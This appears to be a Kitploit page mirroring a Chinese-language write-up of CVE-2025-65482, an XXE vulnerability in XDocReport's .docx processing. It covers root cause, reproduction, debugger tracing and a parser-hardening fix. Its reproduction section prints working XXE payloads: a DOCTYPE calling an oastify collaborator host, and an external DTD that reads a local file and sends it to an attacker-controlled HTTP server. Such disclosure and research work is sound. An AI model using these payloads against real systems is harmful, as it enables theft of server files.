Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
工具/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPapers & ResearchLearning & Education
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

查看仓库
18个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

漏洞概述

  • XML外部实体注入(XXE)是一种处理XML格式数据时的漏洞,用户插入引用外部文件或系统的XML数据。攻击者可以利用此已识别的XXE漏洞扫描其他系统的开放服务端口,请求机密文件,并访问已连接系统的功能(这些功能原本不可用)。由此,攻击者可以提取数据、与系统交互,并通过XML注入造成服务中断。

业务影响

  • XXE可能导致企业声誉受损,因为用户失去信心与信任。它还可能引发数据窃取,并通过通知、修复成本以及泄露的PII数据给企业带来间接经济损失。

Severity HIGH

image

Description and Impact

人事管理网站允许用户上传.docx文档文件到系统。在处理过程中,应用程序使用了fr.opensagres.xdocreport.document.docx库,该库在通过SAXParser处理用户的.docx文件时包含XXE漏洞。

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Root cause analysis

原因是使用了Apache POI

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

即Apache POI位于很深的层次,在模块:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

错误发生是因为XDocReport(在fr.opensagres.xdocreport.document.docx模块中)使用Apache POI读取.docx文件,而POI使用Java默认的SAXParser,且未禁用允许处理DTD和外部实体的特性。 → 这使得攻击者可以插入带有指向外部(SYSTEM "http://...")或内部文件(file:///...)的实体的DOCTYPE → 产生XXE。

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

  • 解压任意docx文件
root@kitploit:~
unzip ../vcspentest.docx

image

  • 编辑docx中的document.xml文件
root@kitploit:~
nano word/document.xml

image

使用如下outbound payload修改内容以发送至collaborator:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • 重新压缩为poc文件
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • 将修改后的docx文件上传至xdocreport处理

image

  • 结果观察到有请求发送回collaborator

image

  • 提升影响,读取系统文件
  • 在WSL主机172.26.208.130上托管dtd文件,内容如下:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

修改.docx文件中的word/document.xml,内容如下以从WSL主机加载外部DTD:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • 压缩文件为.docx并上传至服务器处理

image

image

  • 在WSL主机上看到有请求返回,其中包含目标服务器上D:/vcspentest.txt文件的内容

image

image

Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

在代码或XML解析器配置层,需要禁用所有与DTD和外部实体相关的功能。

类似以下代码的修复

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

调试环境设置

image

  • 在Main.java中
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();

            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
}
  • 需要导入的库
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

调试分析源-汇点

  • 来自.docx中XML内容的输入经过预处理

image

  • 然后该输入被SAXParser处理,而未经过输入验证

image

image

image

image

  • 随后进入scanDocument()函数,扫描(scan)XML内容并发出各种事件(START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE等)

image

image

image

image

  • 检查实体名称(name = "xxe")是否为外部实体

  • 如果实体已声明且为外部实体,解析器将调用解析外部逻辑(例如 startExternalEntity(...) / fEntityManager.startEntity(...))—— 这是汇点:在此解析器会获取systemId/publicId并尝试打开流(可能产生对外HTTP请求)。

image

image

image

  • xxe为外部实体时,startEntity(...)会导向打开资源的逻辑(例如 startExternalEntity(...) / 打开 InputStream → 可能产生对SYSTEM URL的HTTP请求)。

image

image

image

  • 这是解析器开始处理实体"xxe"的点。

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • startEntity()函数检查实体是否为外部实体(isExternal = true),然后调用:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

变量externalEntity.entityLocation包含来自DOCTYPE (SYSTEM "http://...oastify.com/")的恶意URL。

image

  • 在resolveEntityAsPerStax中,resourceIdentifier包含绝对路径:http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • 该函数随后将resourceIdentifier转换为XMLResourceIdentifierImpl对象,并继续打开实际连接以读取内容。

image

image

文档

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link
下载工具